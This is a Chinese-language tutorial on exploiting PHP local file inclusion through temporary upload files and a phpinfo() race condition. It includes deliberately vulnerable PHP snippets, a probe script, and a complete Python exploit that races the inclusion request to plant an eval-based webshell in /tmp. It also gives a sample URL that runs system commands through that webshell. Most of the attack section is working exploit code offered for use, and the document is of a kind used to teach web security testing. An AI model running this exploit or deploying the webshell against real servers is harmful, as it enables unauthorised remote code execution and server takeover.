0x00: 前言
假如在服务器上找不到我们可以包含的文件,那该怎么办,此时可以通过利用一些技巧让服务器存储我们恶意生成的临时文件,该临时文件包含我们构造的恶意代码,此时服务器就存在我们可以包含的文件。
目前,常见的两种临时文件包含漏洞利用方式是: PHPINFO() and PHP7 Sement Fault,利用这两种奇淫技巧可以向服务器上传文件同时在服务器上生成恶意的临时文件,然后将恶意的临时文件包含就可以达到任意代码执行效果,也就是拿到服务器权限进行后续操作。
0x01: 浅谈临时文件
全局变量:
在PHP中可以使用POST方法或者PUT方法进行文本和二进制文件的上传。上传的文件信息会保存在全局变量 $_FILE 里。
$_FILE 超级全局变量很特殊,他是预定义超级全局数组中唯一的二维数组。其作用是存储各种与上传文件有关的信息,这些信息对于通过PHP脚本上传到服务器的文件至关重要。
$_FILES['userfile']['name'] 客户端文件的原名称。
$_FILES['userfile']['type'] 文件的 MIME 类型,如果浏览器提供该信息的支持,例如"image/gif"。
$_FILES['userfile']['size'] 已上传文件的大小,单位为字节。
$_FILES['userfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,默认是/tmp目录。$_FILES['userfile']['error'] 该文件上传的错误代码,上传成功其值为0,否则为错误信息。
$_FILES['userfile']['tmp_name'] 文件被上传后在服务端存储的临时文件名
在临时文件包含漏洞中$_FILES[‘userfile’][‘name’]这个变量值的获取很重要,因为临时文件的名字都是由随机函数生成的,只有知道文件的名字才能正确的去包含它。
存储目录:
文件被上传之后,默认会存储到服务端的默认临时目录中,该临时目录由PHP.ini 的UPload_tmp_dir 属性指定,假如 upload_tmp_dir 的路径不可写,PHP 会上传到系统默认的临时目录。
Linux目录:
Linxu系统服务的临时文件主要存储在根目录的tmp文件夹下,具有一定的开放权限。
/tmp/
Windows 目录:
Windows系统服务的临时文件主要存储在系统盘Windows文件夹下,具有一定的开放权限。
C:/Windows/
C:/Windows/Temp/
命名规则:
存储在服务器上的临时文件的文件名都是随机生成的,了解不同系统服务器对临时文件的命名规则很重要,因为有时候对于临时文件我们需要去爆破,此时我们需要知道它的命令规则是什么。
可以通过PHPINFO 查看临时文件的信息。
Linux Temporary File
Linux 临时文件主要存储在 /tmp/ 目录下,格式通常是( /tmp/php【6个随机字符】)
Windows Temporary File
Windows 临时文件主要存储在 C:/Windows/目录下,格式通常是(C:/Windows/php[4个随机字符].tmp)
0x02:PHPINFO():
通过上面的介绍,服务器上存储的临时文件时随机的,这就很难获取真实的文件名,不过,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。
index.php
<?php
$file = $_GET['file'];
include($file);
?>
phpinfo.php
<?php phpinfo();?>
漏洞分析:
当我们在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存未一个临时文件。文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。
利用phpinfo的特性可以很好的帮助我们,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,拿到临时文件变量名之后,就可以进行包含执行我们传入的恶意代码。
漏洞利用:
- 利用条件无 PHPINFO的这种特性源于php自身,与php的版本无关
测试脚本:
探测是否存在 PHPINFO 包含临时文件信息
import requests
files = { 'file': ("aa.txt","ssss")}url = "http://x.x.x.x/phpinfo.php"
r = requests.post(url=url, files=files, allow_redirects=False)
print(r.text)
运行脚本可以看到回显中有如下内容
Linux
Windows
利用原理:
验证了phpinfo的特性确实存在,所以在文件包含漏洞找不到可利用的文件时,我们就可以利用这一特性,找到并提取临时文件名,然后包含之即可Getshell。
但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。
利用过程:
这个时候就需要用到条件竞争,具体原理和过程如下:
(1) 发送包含了webshell 的上传数据包给phpinfo页面,这个数据包的header、 get 等位置需要塞满垃圾数据。
(2) 因为 phpinfo 页面会将所有的数据都打印出来,1中的数据会将整个 phpinfio 页面撑的非常大。
(3) php 默认的输出缓冲区为4096,可以理解为 php 每次返回 4096 个字节给socket 连接。
(4) 所以,我们直接操作原生的 socket ,每次读取4096个字节.只要读取到的字符里包含临时文件名,就立即发送第二个数据包。
(5) 此时,第一个数据包的 socket 连接实际上还没有结束,因为 php 还在继续每次输出4096个字节,所以临时文件还没有删除。
(6) 利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即成功包含临时文件,最终getshell。
(参考ph牛https://github.com/vulhub/vulhub/tree/master/php/inclusion)
Getshell
exp.py**
#!/usr/bin/python
#python version 2.7
import sys
import threading
import socket
def setup(host, port):
TAG = "Security Test"
PAYLOAD = """%s\r
<?php file_put_contents('/tmp/Qftm', '<?php eval($_REQUEST[Qftm])?>')?>\r""" % TAG
# PAYLOAD = """%s\r
# <?php file_put_contents('/var/www/html/Qftm.php', '<?php eval($_REQUEST[Qftm])?>')?>\r""" % TAG
REQ1_DATA = """-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding = "A" * 5000
REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """ + padding + """\r
HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
HTTP_PRAGMA: """ + padding + """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
# modify this to suit the LFI script
LFIREQ = """GET /index.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] => ")
fn = d[i + 17:i + 31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter = 0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter += 1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/Qftm.php"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d += i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] => ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i + 10], i)
# padded up a bit
return i + 256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port = 80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz = 10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0, poolsz):
tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__ == "__main__":
main()
包含生成/tmp/Qftm后门文件
拿到RCE之后,可以查看tmp下生成的后门文件
http://192.33.6.145/index.php?file=/tmp/Qftm&Qftm=system(%27ls%20/tmp/%27)
然后使用后门管理工具连接后门webshell
/tmp/Qftm <?php eval($_REQUEST[Qftm])?>
包含上传文件
利用条件:千变万化,不过至少得知道上传的文件在哪,叫什么名字!!!
利用姿势:不说了,太多了!!!
其它包含
一个web服务往往会用到多个其他服务,比如ftp服务、smb服务、数据库等等。这些应用也会产生相应的文件,但这就需要具体情况具体分析。这里就不展开了。